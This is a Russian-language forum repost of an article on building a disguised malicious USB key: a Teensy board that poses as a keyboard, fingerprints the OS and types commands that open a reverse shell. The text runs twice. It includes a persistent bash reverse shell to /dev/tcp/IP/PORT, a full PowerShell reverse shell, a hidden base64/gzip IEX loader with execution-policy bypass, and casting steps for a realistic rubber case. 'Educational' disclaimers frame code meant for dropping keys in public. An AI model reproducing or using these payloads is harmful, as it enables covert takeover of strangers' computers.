Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Как создать реалистичный вредоносный USB-ключ
Данная статья представлена только в образовательных целях и не ставит цели сподвигнуть вас на взлом чужих систем.
Подбрасывание вредоносных USB-ключей в общественном месте - весьма эффективный метод компрометирования, что подтверждается нашим недавним
После оценки достоинств и недостатков у трех видов вредоносных USB-ключей, мы рассмотрим создание поддельных HID-ключей наподобие того, который я демонстрировал во время доклада на конференции Blackhat (см.
Предупреждение: атаки через USB-порт следует осуществлять только против ваших личных систем или тех компьютеров, на которые у вас есть разрешение хозяев. Данная статья представлена только в образовательных целях и не ставит цели сподвигнуть вас на взлом чужих систем.
Разновидности USB-ключей
Существует три вида вредоносных USB-ключей, у каждого из которых есть свои достоинства и недостатки. Следовательно, первый вопрос – какой тип ключа наилучшим образом удовлетворяет нашим нуждам. Конкретно в нашем случае необходимо создать ключ, приемлемый по цене, который можно оставить в общественном месте.
Вначале коротко рассмотрим различные типы атак и их плюсы и минусы, чтобы стало понятно, почему поддельные HID-ключи подходят наилучшим образом.
Три типа атак
Рисунок 1: Различные типы атак при помощи USB ключа
Коротко рассмотрим каждый вид атаки, представленной на рисунке выше.
Рисунок 2: Схема реализации атаки с использованием социальной инженерии
Социальная инженерия: в данном типе атак на USB-устройстве, как правило, хранятся HTML-файлы, которые при открытии нацелены на кражу учетных записей.
Рисунок 3: Схема реализации атаки при помощи поддельного HID-ключа
Поддельный HID-ключ (Human Interface Device): поддельные HID-ключи представляю собой специализированные устройства, нацеленные на то, чтобы выдать USB-ключ за клавиатуру. После вставки ключа в USB-порт поддельная клавиатура эмулирует нажатия клавиш, представляющих собой набор команд, компрометирующих систему жертвы.
Далее будет показано, что если проявить немного изобретательности, то можно создать такое HID-устройство, которое организует реверсивный TCP шелл, дающий полный удаленный контроль над машиной жертвы.
Ключи на основе уязвимостей нулевого дня: данные гипотетические ключи, скорее всего, разрабатываются на базе эксплоитов, заточенных под конкретную уязвимость в USB-драйвере. После вставки в разъем злоумышленник получает полный контроль над компьютером. Насколько мне известно, информация о подобных устройствах ни разу не появлялась в общедоступных источниках.
Достоинства и недостатки каждого метода
Метод
Сложность и затраты
Надежность
Скрытность
Кроссплатформенность
Социальная инженерия
1 балл
1 балл
1 балл
3 балла
Поддельный HID
2 балла
3 балла
2 балла
2 балла
Свежая уязвимость
4 балла
4 балла
4 балла
1 балл
Для оценки того какой тип атаки подходит наилучшим образом в случае подбрасывания ключа в общественном месте, мы оценили силу и слабость каждого вида по четырем областям. Результаты оценки представлены в таблице выше. Далее проведем сравнительный анализ каждого типа ключа в разрезе по каждой области.
Сложность и расходы: первый аспект, который необходимо принять во внимание, - насколько сложно и затратно создать каждый из типов ключей. Устройства с использованием социальной инженерии создать наиболее просто, поскольку там требуется только HTML файлы. HID-ключи создать сложнее, поскольку здесь уже необходимо программирование и изменение внешнего вида. Ключи-фантомы, использующие свежие уязвимости, предположительно наиболее сложны, поскольку здесь требуется найти свежую брешь, реализовать низкоуровневый эксплоит и создать реалистичный внешний вид.
Надежность: второй аспект – насколько надежна схема атаки. Подход, связанный с социальной инженерией, наименее надежен, поскольку требует от пользователя не только вставить ключ в USB-порт, но и кликнуть на файл и заполнить поддельную форму. Атака на основе HID-ключа может быть очень надежной, поскольку инициируется сразу же после вставки ключа в USB-порт. Однако прежде чем получить рабочий ключ потребуется много времени на тестирование, чтобы отладить все команды. Ключи на основе свежих уязвимостей, скорее всего, наиболее надежны в случае с конкретной версией операционной системы.
Скрытность: третий аспект – насколько скрытной является атака и насколько много может возникнуть подозрений. Атаки на основе социальной инженерии – самые очевидные, поскольку там участвуют HTML-файлы. Подобные сценарии лучше реализовывать во время
Во время атак на основе HID-ключей должен создаваться терминал и происходить быстрое инжектирование набора команд, которые видны, но в течение короткого промежутка времени. Как только сценарий отработает, на экране не останется ничего подозрительного. Данный тип атаки менее очевиден и заметен, чем на основе социальной инженерии.
Атаки на базе брешей нулевого дня будут полностью незаметными, поскольку осуществляются на уровне ядра. Как и в случае атаки с HID-ключом, жертва может заподозрить неладное, так как ключ окажется нерабочим. Однако данную проблему можно обойти посредством создания поддельного хранилища.
Кроссплатформенность: последний аспект, который необходимо принять во внимание, - насколько универсален тот или иной тип атаки. В случае целевой атаки должна быть известна операционная система или даже конкретная версия. В целях пентестов или атак, направленных на широкую аудиторию, весьма вероятно, что на компьютерах жертв будут различные операционные системы.
Атаки на основе социальной инженерии по своей сути являются кроссплатформенными, поскольку HTML‑файлы можно открыть в каждой операционной системе. HID-ключи также можно сделать кроссплатформенными, но здесь потребуется больше телодвижений (подробности будут рассказаны дальше). Атаки на основе свежих уязвимостей, очевидно, нельзя адаптировать под все операционные системы, поскольку брешь присутствует только в конкретной версии. Чтобы сделать подобный вид атаки кроссплатформенным потребуется несколько свежих уязвимостей (или, как минимум, несколько версий эксплоита). Стратегия множественных эксплоитов была реализована во вредоносе Flame посредством внедрения кода в различные версии ОС Windows.
Почему поддельные HID-ключи подходят наилучшим образом
По итогам анализа трех типов атак по четырем областям приходим к выводу, что HID-ключи - наиболее оптимальный вариант, когда речь идет о подбрасывании устройства в общественном месте. Поэтому при подготовке доклада для конференции BlackHat я сосредоточился на создании наиболее надежного и реалистичного HID-устройства насколько возможно.
Подводные камни при реализации атак на основе HID-ключей
Вначале я бы хотел сказать, что создание вредоносных HID-ключей не является чем-то особенно новым. Адриан Креншо (Adrian Crenshaw) презентовал первую демо-версию на
Адаптация под разные платформы (кроссплатформенность): при атаке, связанной с оставлением ключа, мы не контролируем, в какой компьютер будет вставлено устройство. Соответственно, нужно сделать так, чтобы устройство работало во многих операционных системах. Ключевая сложность заключается в том, у клавиатур и других HID-устройств нет функции обнаружения версии операционной системы. То есть вначале нужно было придумать метод определения версии ОС жертвы.
Создание устойчивого реверсивного шелла: время между оставлением ключа и включением устройство в компьютер – непредсказуемо, но
Рисунок 4: Различные версии HID-устройств
Создание реалистичного ключа: наиболее забавная задача – маскировка HID-устройства под реалистичный USB-ключ. Судя по рисунку выше, внешний вид предыдущих поделок весьма далек от реалистичного ключа. Таким образом, мне нужно было использовать кардинально новый метод для сокрытия аппаратной части внутри реалистичной оболочки. На данный момент на рынке присутствует одна вещь, выглядящая более менее реалистично, -
Аппаратная часть
Рисунок 5: Teensy 3.2
После некоторых поисков остановился на модели
Схема атаки при помощи HID-ключа
Рисунок 6: Схема реализации атаки при помощи HID-ключа
Компрометирование компьютера при помощи HID-устройства выполняется в три стадии, как показано на рисунке выше.
Определение типа и версии операционной системы
Как упоминалось ранее, одним из главных ограничений была фокусировка на одной операционной системе. При создании HID-устройства мне необходимо было обойти это ограничения вследствие того, что заранее не известно, в какой системе окажется ключ. Задача является нетривиальной, поскольку у клавиатур и других HID-устройств не было возможности определения типа и версии операционной системы. В протоколе также ничего не предусмотрено для решения этой задачи.
bool fingerprint_windows(void) {
int status1 = 0; //LED status before toggle
int status2 = 0; //LED status after toggle
unsigned short sk = SCROLLLOCK;
// Get status
status1 = ((keyboard_leds & sk) == sk) ? 1 : 0;
delay(DELAY);
//Asking windows to set SCROLLLOCK
win_open_execute();
type_command("powershell -Command \"(New-Object -ComObject WScript.Shell).SendKeys('{SCROLLLOCK}')\"");
delay(DELAY);
// Get status
status2 = ((keyboard_leds & sk) == sk) ? 1 : 0;
is_done();
if (status1 != status2) {
return true;
} else {
return false;
}
}
На ранних стадиях своих исследований я натолкнулся на презентацию с конференции Blackhat, в которой рассматривались различия в USB протоколе в целях определения версии ОС. Однако в той презентации был контекст очень низкого уровня, и я не был уверен, что данный способ будет работать во всех операционных системах. Когда, за неимением лучшего, я был готов воспользоваться этим способом, мой друг
Возможности данной техники оказались даже шире, чем было нужно. Например, мы можем определить версию операционной системы (Windows 10 или Windows 8) через PowerShell и переключать нужную клавишу (Caps Lock в Windows 8 и Num Lock в Windows 10) в зависимости от полученного результата. Затем мы тестируем через код в Teensy, какая клавиша нажата, и доставляем нужную полезную нагрузку, созданную для конкретной версии ОС. Версия операционной системы определяется при помощи команды в PowerShell: "[System.Environment]::OSVersion.Version".
Расширяемость, надежность и простота вышеуказанной техники заставила меня отказаться от низкоуровневого метода. Кстати говоря, определения типа ОС через USB-порт может быть полезным при разработке кроссплатформенных ключей на базе уязвимостей нулевого дня.
Создание реверсивного шелла
Рисунок 7: Этапы создания реверсивного шелла
Задача полезной нагрузки заключается в организации реверсивного TCP шелла, который создает обратное соединение к серверу злоумышленника. Как говорилось ранее, доступ к такому шеллу покрывает все наши потребности, а поскольку данная задача решается относительно просто (нужно организовать TCP соединение и привязать шелл), то размер полезной нагрузки будет очень маленьким, и Teensy быстро «напечатает» нужные команды. Три этапа создания реверсивного шелла приведены на рисунке выше.
Примечание: реверсивный шеллкод намеренно не использует шифрование (в том числе SSL), поскольку статья написана в образовательных целях. Отсутствие шифрования делает атаку легко уязвимой к детектированию и отслеживанию через анализ сетевого трафика.
MacOS – OSX
(nohup bash -c \"while true;do bash -i >& /dev/tcp/IP/PORT 0>&1 2>&1; sleep 1;done\" 1>/dev/null &)
В процессе создания универсального ключа выяснилось, что организация реверсивного шелла в OS X и Linux требует даже меньших усилий, чем предполагалось изначально. Я собирался написать скрипт на Python, но натолкнулся на способ, придуманный pentestmonkey, при помощи которого реверсивный шелл можно организовать в одну строку на Bash. Как показано в коде выше, суть метода заключается в малоизвестном факте о том, что Bash может создавать TCP соединение. Я доработал код так, чтобы шелл был более незаметным и работал в фоновом режиме, а также перезапускался при необходимости в целях большей устойчивости. Модифицированный код занимается 100 символов и устойчиво хранится в памяти в OS X и Linux.
Windows
Process {
$modules=@()
$c=New-Object System.Net.Sockets.TCPClient("IP",PORT)
$s=$c.GetStream()
[byte[]]$b=0..20000|%{0}
$d=([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user "+$env:username+" on "+$env:computername+"`nEnjoy!.`n`n")
$s.Write($d,0,$d.Length)
$d=([text.encoding]::ASCII).GetBytes("PS "+(Get-Location).Path+">")
$s.Write($d,0,$d.Length)
while(($i=$s.Read($b,0,$b.Length)) -ne 0)
{
$E=New-Object -TypeName System.Text.ASCIIEncoding
$D=$E.GetString($b,0,$i)
$k=(Invoke-Expression -Command $d 2>&1 | Out-String)
$l=$k+"PS "+(Get-Location).Path+"> "
$x=($error[0] | Out-String)
$error.clear()
$l=$l+$x
$d=([text.encoding]::ASCII).GetBytes($l)
$s.Write($d,0,$d.Length)
$s.Flush()
}
$c.Close()
}
Чтобы создать реверсивный шелл в Windows потребуется больше работы. Мы должны написать собственный реверсивный шеллкод. Вдохновленные
powershell -exec bypass -nop -W hidden -noninteractive -Command \"&
{
$s=New-Object IO.MemoryStream(
,[Convert]::FromBase64String('...BASE64_GZ_POWERSHELL_REVERSE_SHELL...')
);
$t=(New-Object IO.StreamReader(
New-Object IO.Compression.GzipStream(
$s,[IO.Compression.CompressionMode]:ecompress)
)
).ReadToEnd();
IEX $t
}
\";exit
Наш компактный код, написанный на PowerShell, используется во внешней полезной нагрузке, показанной выше. Внешняя полезная нагрузка распаковывает реверсивный шелл, инжектирует в память и запускает в фоновом режиме опять же при помощи PowerShell. Благодаря сжатию, мы получили реверсивный шелл размером 1604 символа, пригодный для работы в Windows. Размер данного кода не такой маленький, как для OS X, но достаточный для того, чтобы быстро инжектировать через Teensy.
Создание реалистичного ключа
Последняя и самая веселая задача – как превратить Teensy в реалистично выглядящий ключ, поскольку человек вряд ли будет втыкать в свой компьютер странную электронную плату. После различного рода экспериментов выяснилось, что наиболее простой способ замаскировать Teensy – создать реалистичную оболочку из каучука, отлитого по форме реального USB-устройства.
Подсоединение USB-коннектора типа A
Рисунок 8: Подсоединенный коннектор типа A к плате Teensy
Первый шаг – подсоединение коннектора типа A к плате Teensy. Обрезание стандартного адаптера – не самая хорошая идея, поскольку данный метод слишком громоздок. Правильное решение – припаять коннектор к задней стенке платы Teensy. Как показано на рисунке ниже плата с припаянным коннектором почти похожа на настоящий ключ!
Рисунок 9: Плата Teensy с припаянным коннектором на фоне настоящего ключа
Примечание: не нужно удалять встроенный разъем микро-USB. Будьте внимательны и припаивайте коннектор в правильную позицию. Не перепутайте VUSB и заземление. Кроме того, не следует использовать провода. Выводы Data+ и Data- должны быть правильной длины, и провода могут все испортить.
Создание формы с настоящего USB-ключа
Второй шаг – создание силиконовой формы настоящего USB-ключа. В качестве образца подойдет любой ключ, поскольку размеры достаточны, чтобы уместить плату Teensy. Эталон, используемый мной, - немного узковат, и мне нужно было быть предельно внимательным при отливке каучука вокруг Teensy так, чтобы не было заметно. Будьте осторожны и не используйте ключ с силиконовой оболочкой (данный материал ощущается как прорезиненный), поскольку отливка кремния на кремнии вносит ненужные сложности.
Рисунок 10: Замешивание силиконовой массы
Первый шаг при создании формы (см. рисунок выше) – замешивание силикона так, чтобы получилась лиловая вязкая масса. Я покупал силикон, каучук и краситель в магазине
Рисунок 11: Опускание эталона в жидкую массу
Следующий шаг, как показано на рисунке выше, - подцепление ключа-эталона к деревянной пластине с зажимом и опускание в пластиковый стакан. Необходимо, чтобы ключ находится неподвижно в процессе затвердевания формы.
Рисунок 12: Готовая форма
Последний шаг – наполнение стакана жидким силиконом и оставление всей конструкции на 24 часа. Тонкость заключается в том, чтобы откачать воздух из массы. Иначе в твердой форме останутся пузырьки, которые могут испортить внешний вид ключа. Существует два метода удаления воздуха: вакуумная обработка перед заливкой или заливка тонкой струей с высоты. Я воспользовался вторым методом и почти все получилось. Появилось лишь несколько пузырьков, повлиявших на внешность нижней части ключа.
Создание каучуковой оболочки
Рисунок 13: Подготовка ингредиентов для оболочки
Нам осталось сделать каучуковую оболочку вокруг платы Teensy. Предостережение: будьте крайне внимательными при работе с каучуком и никогда не касайтесь этого материала кожей. Во время всего процесса носите очки и защитный костюм.
Рисунок 14: Замешивание каучуковой массы
Как и в случае с силиконом требуется замешивание каучуковой массы, но ровно столько, чтобы хватило на один ключ, поскольку в процессе замешивания сразу же начинается застывание. Наилучший вариант – использовать три десятикубовых шприца: два для каждого полимера и один для краски. Экспериментальным путем установлено, что для одной оболочки требуется 8 кубиков каждого полимера и 2 кубика для краски.
Рисунок 15: Заливка жидкого каучука в форму
Процедура создания оболочки состоит из четырех этапов:
Рисунок 16: Удаление избыточного каучука
Если все сделано правильно, останется избыточный каучук, который легко удалить при помощи ножа (см. рисунок выше).
Рисунок 17: Неудачный вариант ключа с оторванным коннектором
Несколько советов: Будьте терпеливы. Если вы вынете ключ слишком быстро, внешний вид будет нереалистичным, и коннектор может оторваться. Кроме того, как показано на рисунке выше, белый каучук не скрывает внутренне устройство ключа (по крайней мере, в моем случае). Поэтому я рекомендую добавлять краситель. Черный цвет подходит прекрасно, но, думаю, и другие цвета также будут вполне уместны.
Рисунок 18: Неудачный экземпляр
Еще один совет – не используйте смазку. Форма достаточно гибкая и смазка лишь испортит внешний вид (см. рисунок выше).
Рисунок 19: Удачный экземпляр вредоносного ключа
Если все прошло по плану, вы должны получить реалистичный ключ, очень похожий на эталон, с которого делалась форма (см. рисунок выше). Единственную искусственность получившегося ключа выдает нецентрированный USB-коннектор, который изначально сдвинут на плате. По всем остальным показателям готовый ключ ничем не отличается от настоящего.
Данная статья представлена только в образовательных целях и не ставит цели сподвигнуть вас на взлом чужих систем.
Подбрасывание вредоносных USB-ключей в общественном месте - весьма эффективный метод компрометирования, что подтверждается нашим недавним
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
. Данная статья является продолжением, где рассказывается о том, насколько надежными и реально выглядящими можно создать подобные ключи.После оценки достоинств и недостатков у трех видов вредоносных USB-ключей, мы рассмотрим создание поддельных HID-ключей наподобие того, который я демонстрировал во время доклада на конференции Blackhat (см.
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
и Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
). Прежде чем начать повествование, я бы хотел показать, как работают на практике эти ключи:Предупреждение: атаки через USB-порт следует осуществлять только против ваших личных систем или тех компьютеров, на которые у вас есть разрешение хозяев. Данная статья представлена только в образовательных целях и не ставит цели сподвигнуть вас на взлом чужих систем.
Разновидности USB-ключей
Существует три вида вредоносных USB-ключей, у каждого из которых есть свои достоинства и недостатки. Следовательно, первый вопрос – какой тип ключа наилучшим образом удовлетворяет нашим нуждам. Конкретно в нашем случае необходимо создать ключ, приемлемый по цене, который можно оставить в общественном месте.
Вначале коротко рассмотрим различные типы атак и их плюсы и минусы, чтобы стало понятно, почему поддельные HID-ключи подходят наилучшим образом.
Три типа атак
Рисунок 1: Различные типы атак при помощи USB ключа
Коротко рассмотрим каждый вид атаки, представленной на рисунке выше.
Рисунок 2: Схема реализации атаки с использованием социальной инженерии
Социальная инженерия: в данном типе атак на USB-устройстве, как правило, хранятся HTML-файлы, которые при открытии нацелены на кражу учетных записей.
Рисунок 3: Схема реализации атаки при помощи поддельного HID-ключа
Поддельный HID-ключ (Human Interface Device): поддельные HID-ключи представляю собой специализированные устройства, нацеленные на то, чтобы выдать USB-ключ за клавиатуру. После вставки ключа в USB-порт поддельная клавиатура эмулирует нажатия клавиш, представляющих собой набор команд, компрометирующих систему жертвы.
Далее будет показано, что если проявить немного изобретательности, то можно создать такое HID-устройство, которое организует реверсивный TCP шелл, дающий полный удаленный контроль над машиной жертвы.
Ключи на основе уязвимостей нулевого дня: данные гипотетические ключи, скорее всего, разрабатываются на базе эксплоитов, заточенных под конкретную уязвимость в USB-драйвере. После вставки в разъем злоумышленник получает полный контроль над компьютером. Насколько мне известно, информация о подобных устройствах ни разу не появлялась в общедоступных источниках.
Достоинства и недостатки каждого метода
Метод
Сложность и затраты
Надежность
Скрытность
Кроссплатформенность
Социальная инженерия
1 балл
1 балл
1 балл
3 балла
Поддельный HID
2 балла
3 балла
2 балла
2 балла
Свежая уязвимость
4 балла
4 балла
4 балла
1 балл
Для оценки того какой тип атаки подходит наилучшим образом в случае подбрасывания ключа в общественном месте, мы оценили силу и слабость каждого вида по четырем областям. Результаты оценки представлены в таблице выше. Далее проведем сравнительный анализ каждого типа ключа в разрезе по каждой области.
Сложность и расходы: первый аспект, который необходимо принять во внимание, - насколько сложно и затратно создать каждый из типов ключей. Устройства с использованием социальной инженерии создать наиболее просто, поскольку там требуется только HTML файлы. HID-ключи создать сложнее, поскольку здесь уже необходимо программирование и изменение внешнего вида. Ключи-фантомы, использующие свежие уязвимости, предположительно наиболее сложны, поскольку здесь требуется найти свежую брешь, реализовать низкоуровневый эксплоит и создать реалистичный внешний вид.
Надежность: второй аспект – насколько надежна схема атаки. Подход, связанный с социальной инженерией, наименее надежен, поскольку требует от пользователя не только вставить ключ в USB-порт, но и кликнуть на файл и заполнить поддельную форму. Атака на основе HID-ключа может быть очень надежной, поскольку инициируется сразу же после вставки ключа в USB-порт. Однако прежде чем получить рабочий ключ потребуется много времени на тестирование, чтобы отладить все команды. Ключи на основе свежих уязвимостей, скорее всего, наиболее надежны в случае с конкретной версией операционной системы.
Скрытность: третий аспект – насколько скрытной является атака и насколько много может возникнуть подозрений. Атаки на основе социальной инженерии – самые очевидные, поскольку там участвуют HTML-файлы. Подобные сценарии лучше реализовывать во время
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
.Во время атак на основе HID-ключей должен создаваться терминал и происходить быстрое инжектирование набора команд, которые видны, но в течение короткого промежутка времени. Как только сценарий отработает, на экране не останется ничего подозрительного. Данный тип атаки менее очевиден и заметен, чем на основе социальной инженерии.
Атаки на базе брешей нулевого дня будут полностью незаметными, поскольку осуществляются на уровне ядра. Как и в случае атаки с HID-ключом, жертва может заподозрить неладное, так как ключ окажется нерабочим. Однако данную проблему можно обойти посредством создания поддельного хранилища.
Кроссплатформенность: последний аспект, который необходимо принять во внимание, - насколько универсален тот или иной тип атаки. В случае целевой атаки должна быть известна операционная система или даже конкретная версия. В целях пентестов или атак, направленных на широкую аудиторию, весьма вероятно, что на компьютерах жертв будут различные операционные системы.
Атаки на основе социальной инженерии по своей сути являются кроссплатформенными, поскольку HTML‑файлы можно открыть в каждой операционной системе. HID-ключи также можно сделать кроссплатформенными, но здесь потребуется больше телодвижений (подробности будут рассказаны дальше). Атаки на основе свежих уязвимостей, очевидно, нельзя адаптировать под все операционные системы, поскольку брешь присутствует только в конкретной версии. Чтобы сделать подобный вид атаки кроссплатформенным потребуется несколько свежих уязвимостей (или, как минимум, несколько версий эксплоита). Стратегия множественных эксплоитов была реализована во вредоносе Flame посредством внедрения кода в различные версии ОС Windows.
Почему поддельные HID-ключи подходят наилучшим образом
По итогам анализа трех типов атак по четырем областям приходим к выводу, что HID-ключи - наиболее оптимальный вариант, когда речь идет о подбрасывании устройства в общественном месте. Поэтому при подготовке доклада для конференции BlackHat я сосредоточился на создании наиболее надежного и реалистичного HID-устройства насколько возможно.
Подводные камни при реализации атак на основе HID-ключей
Вначале я бы хотел сказать, что создание вредоносных HID-ключей не является чем-то особенно новым. Адриан Креншо (Adrian Crenshaw) презентовал первую демо-версию на
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
в 2010 году. Однако с тех пор HID-устройства проектировались для нужд злоумышленников или пентестеров, но не для подбрасывания на улице в расчете на то, что жертва принесет его домой и вставит в компьютер. При смене приоритетов возникли некоторые сложности, которые сподвигли меня на размышления и поиск новых решений.Адаптация под разные платформы (кроссплатформенность): при атаке, связанной с оставлением ключа, мы не контролируем, в какой компьютер будет вставлено устройство. Соответственно, нужно сделать так, чтобы устройство работало во многих операционных системах. Ключевая сложность заключается в том, у клавиатур и других HID-устройств нет функции обнаружения версии операционной системы. То есть вначале нужно было придумать метод определения версии ОС жертвы.
Создание устойчивого реверсивного шелла: время между оставлением ключа и включением устройство в компьютер – непредсказуемо, но
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
. То есть нам нужно создать надежный способ для доступа к скомпрометированному компьютеру в то время, когда мы захотим. Кроме того, при проектировании полезной нагрузки следует учитывать, что компьютер жертвы может быть не подключен к интернету на момент вставки ключа в USB-порт. Следовательно, мы не должны полагаться на загрузку чего-либо из интернета и реализовать схему периодического выхода на связь. Наконец, мы не знаем, установлен ли в системе жертвы антивирус или фаервол. Сей факт говорит о том, что мы должны использовать скриптовой язык для организации внешнего соединения, поскольку данный метод является наиболее защищенным от детектирования. К тому же, размер полезной нагрузки должен быть как можно меньше, поскольку скорость работы клавиатуры в некоторых ОС не превышает 62.5 нажатия в секунду.Рисунок 4: Различные версии HID-устройств
Создание реалистичного ключа: наиболее забавная задача – маскировка HID-устройства под реалистичный USB-ключ. Судя по рисунку выше, внешний вид предыдущих поделок весьма далек от реалистичного ключа. Таким образом, мне нужно было использовать кардинально новый метод для сокрытия аппаратной части внутри реалистичной оболочки. На данный момент на рынке присутствует одна вещь, выглядящая более менее реалистично, -
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
, однако скриптовой язык данного устройства слишком ограничен и не удовлетворяет нашим потребностям (например, нет возможности определить версию ОС). Кроме того, мы не можем изменять внешний вид этого устройства.Аппаратная часть
Рисунок 5: Teensy 3.2
После некоторых поисков остановился на модели
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
, поскольку в данном устройстве уже есть встроенный эмулятор клавиатуры и возможность низкоуровневого программирования. К тому же, это устройство не особо дорогое и совместимое с платформой Arduino, в которой есть хорошая среда разработки. Наконец, Teensy дает множество возможностей для доработок, что делает эту модель хорошим кандидатом для построения еще более изощренных атак при помощи ключей (в конце стать я расскажу о своих мыслях на будущее). Альтернатива Teensy – упомянутый ранее Rubber Duck. Однако скриптовой язык данного устройства слишком ограничен и, на мой взгляд, недостаточно расширяем.Схема атаки при помощи HID-ключа
Рисунок 6: Схема реализации атаки при помощи HID-ключа
Компрометирование компьютера при помощи HID-устройства выполняется в три стадии, как показано на рисунке выше.
- Тестируем, загружено ли HID-устройство: первая стадия заключается в проверке того, что ключ распознан операционной система и USB-драйвер загружен. Данная стадия закладывает основу для надежности всех последующих шагов. Запуск перед загрузкой драйвера приведет к тому, что команды будут утеряны и никогда не запустятся.
- Определяем тип и версию ОС: перечень команд, необходимый для компрометирования системы, зависит от операционной системы. Поскольку заранее мы не знаем, где будет вставлен ключ, то вначале необходимо выяснить версию ОС и уже на базе полученных данных выполнять определенную последовательность команд.
- Организуем реверсивный шелл: последняя стадия заключается в инжектировании нажатий клавиш, формирующих команды для разворачивания фонового реверсивного TCP шелла, который будет соединяться с сервером злоумышленника.
Определение типа и версии операционной системы
Как упоминалось ранее, одним из главных ограничений была фокусировка на одной операционной системе. При создании HID-устройства мне необходимо было обойти это ограничения вследствие того, что заранее не известно, в какой системе окажется ключ. Задача является нетривиальной, поскольку у клавиатур и других HID-устройств не было возможности определения типа и версии операционной системы. В протоколе также ничего не предусмотрено для решения этой задачи.
bool fingerprint_windows(void) {
int status1 = 0; //LED status before toggle
int status2 = 0; //LED status after toggle
unsigned short sk = SCROLLLOCK;
// Get status
status1 = ((keyboard_leds & sk) == sk) ? 1 : 0;
delay(DELAY);
//Asking windows to set SCROLLLOCK
win_open_execute();
type_command("powershell -Command \"(New-Object -ComObject WScript.Shell).SendKeys('{SCROLLLOCK}')\"");
delay(DELAY);
// Get status
status2 = ((keyboard_leds & sk) == sk) ? 1 : 0;
is_done();
if (status1 != status2) {
return true;
} else {
return false;
}
}
На ранних стадиях своих исследований я натолкнулся на презентацию с конференции Blackhat, в которой рассматривались различия в USB протоколе в целях определения версии ОС. Однако в той презентации был контекст очень низкого уровня, и я не был уверен, что данный способ будет работать во всех операционных системах. Когда, за неимением лучшего, я был готов воспользоваться этим способом, мой друг
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
(Jean-Michel) подсказал мне более простой и гибкий способ определения операционной системы. Суть метода основывается на том, что клавиатура получает уведомление при переключении клавиши (например, Num Lock), у которой имеется состояние. Тип операционной системы можно определить во время переключения клавиши при помощи скриптового языка, который доступен только в определенной ОС. Я реализовал данную идею, используя PowerShell, доступный только в Windows, для тестирования того, что ключ попал в данную операционную систему. Результаты эксперимента подтвердили, что способ весьма надежен или вызывает минимальное количество ошибок при использовании скрипта в OS X.Возможности данной техники оказались даже шире, чем было нужно. Например, мы можем определить версию операционной системы (Windows 10 или Windows 8) через PowerShell и переключать нужную клавишу (Caps Lock в Windows 8 и Num Lock в Windows 10) в зависимости от полученного результата. Затем мы тестируем через код в Teensy, какая клавиша нажата, и доставляем нужную полезную нагрузку, созданную для конкретной версии ОС. Версия операционной системы определяется при помощи команды в PowerShell: "[System.Environment]::OSVersion.Version".
Расширяемость, надежность и простота вышеуказанной техники заставила меня отказаться от низкоуровневого метода. Кстати говоря, определения типа ОС через USB-порт может быть полезным при разработке кроссплатформенных ключей на базе уязвимостей нулевого дня.
Создание реверсивного шелла
Рисунок 7: Этапы создания реверсивного шелла
Задача полезной нагрузки заключается в организации реверсивного TCP шелла, который создает обратное соединение к серверу злоумышленника. Как говорилось ранее, доступ к такому шеллу покрывает все наши потребности, а поскольку данная задача решается относительно просто (нужно организовать TCP соединение и привязать шелл), то размер полезной нагрузки будет очень маленьким, и Teensy быстро «напечатает» нужные команды. Три этапа создания реверсивного шелла приведены на рисунке выше.
Примечание: реверсивный шеллкод намеренно не использует шифрование (в том числе SSL), поскольку статья написана в образовательных целях. Отсутствие шифрования делает атаку легко уязвимой к детектированию и отслеживанию через анализ сетевого трафика.
MacOS – OSX
(nohup bash -c \"while true;do bash -i >& /dev/tcp/IP/PORT 0>&1 2>&1; sleep 1;done\" 1>/dev/null &)
В процессе создания универсального ключа выяснилось, что организация реверсивного шелла в OS X и Linux требует даже меньших усилий, чем предполагалось изначально. Я собирался написать скрипт на Python, но натолкнулся на способ, придуманный pentestmonkey, при помощи которого реверсивный шелл можно организовать в одну строку на Bash. Как показано в коде выше, суть метода заключается в малоизвестном факте о том, что Bash может создавать TCP соединение. Я доработал код так, чтобы шелл был более незаметным и работал в фоновом режиме, а также перезапускался при необходимости в целях большей устойчивости. Модифицированный код занимается 100 символов и устойчиво хранится в памяти в OS X и Linux.
Windows
Process {
$modules=@()
$c=New-Object System.Net.Sockets.TCPClient("IP",PORT)
$s=$c.GetStream()
[byte[]]$b=0..20000|%{0}
$d=([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user "+$env:username+" on "+$env:computername+"`nEnjoy!.`n`n")
$s.Write($d,0,$d.Length)
$d=([text.encoding]::ASCII).GetBytes("PS "+(Get-Location).Path+">")
$s.Write($d,0,$d.Length)
while(($i=$s.Read($b,0,$b.Length)) -ne 0)
{
$E=New-Object -TypeName System.Text.ASCIIEncoding
$D=$E.GetString($b,0,$i)
$k=(Invoke-Expression -Command $d 2>&1 | Out-String)
$l=$k+"PS "+(Get-Location).Path+"> "
$x=($error[0] | Out-String)
$error.clear()
$l=$l+$x
$d=([text.encoding]::ASCII).GetBytes($l)
$s.Write($d,0,$d.Length)
$s.Flush()
}
$c.Close()
}
Чтобы создать реверсивный шелл в Windows потребуется больше работы. Мы должны написать собственный реверсивный шеллкод. Вдохновленные
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
я и Джин Мишель создали наиболее компактный реверсивный шелл (см. выше). Затем код, написанный на PowerShell, был сжат и закодирован в base64 так, что полученный результат можно инжектировать при помощи Teensy.powershell -exec bypass -nop -W hidden -noninteractive -Command \"&
{
$s=New-Object IO.MemoryStream(
,[Convert]::FromBase64String('...BASE64_GZ_POWERSHELL_REVERSE_SHELL...')
);
$t=(New-Object IO.StreamReader(
New-Object IO.Compression.GzipStream(
$s,[IO.Compression.CompressionMode]:ecompress)
)
).ReadToEnd();
IEX $t
}
\";exit
